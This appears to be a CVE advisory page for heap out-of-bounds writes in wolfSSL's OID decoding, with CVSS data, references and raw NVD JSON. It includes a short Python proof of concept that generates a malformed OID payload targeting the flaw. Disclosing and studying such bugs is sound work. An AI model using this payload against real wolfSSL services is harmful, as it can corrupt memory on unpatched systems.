CVE-2026-5187

Description

Two potential heap out-of-bounds write locations existed in DecodeObjectId() in wolfcrypt/src/asn.c. First, a bounds check only validates one available slot before writing two OID arc values (out[0] and out[1]), enabling a 2-byte out-of-bounds write when outSz equals 1. Second, multiple callers pass sizeof(decOid) (64 bytes on 64-bit platforms) instead of the element count MAX_OID_SZ (32), causing the function to accept crafted OIDs with 33 or more arcs that write past the end of the allocated buffer.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE

wolfSSL (具体受影响版本请参考官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

def create_malformed_oid():
    # OID encoding: First byte (40*x + y), subsequent bytes are base 128 (MSB set for continuation)
    # Creating an OID with more than 32 arcs to trigger the overflow
    oid_bytes = [0x06, 0x21] # OID Tag, Length (33 bytes)
    
    # First arc (e.g., 1.3)
    oid_bytes.append(0x2B) # 40*1 + 3 = 43 = 0x2B
    
    # Add 32 more arcs (value 1)
    for _ in range(32):
        oid_bytes.append(0x01)
    
    return bytes(oid_bytes)

# Example usage: Send this to a vulnerable wolfSSL service
malformed_data = create_malformed_oid()
print(f"Generated malformed OID payload: {malformed_data.hex()}")

# Note: This PoC demonstrates the payload generation. 
# In a real scenario, this would be embedded in a TLS handshake or X.509 certificate.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5187
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5187
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5187/
[4] VulDB https://vuldb.com/cve/CVE-2026-5187
[5] https://github.com/wolfSSL/wolfssl

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5187", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:28.233", "lastModified": "2026-04-16T20:39:33.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Two potential heap out-of-bounds write locations existed in DecodeObjectId() in wolfcrypt/src/asn.c. First, a bounds check only validates one available slot before writing two OID arc values (out[0] and out[1]), enabling a 2-byte out-of-bounds write when outSz equals 1. Second, multiple callers pass sizeof(decOid) (64 bytes on 64-bit platforms) instead of the element count MAX_OID_SZ (32), causing the function to accept crafted OIDs with 33 or more arcs that write past the end of the allocated buffer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.9.0", "matchCriteriaId": "DA5C710C-46E8-470C-83AF-D33D1A40512D"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl", "source": "[email protected]", "tags": ["Product"]}]}}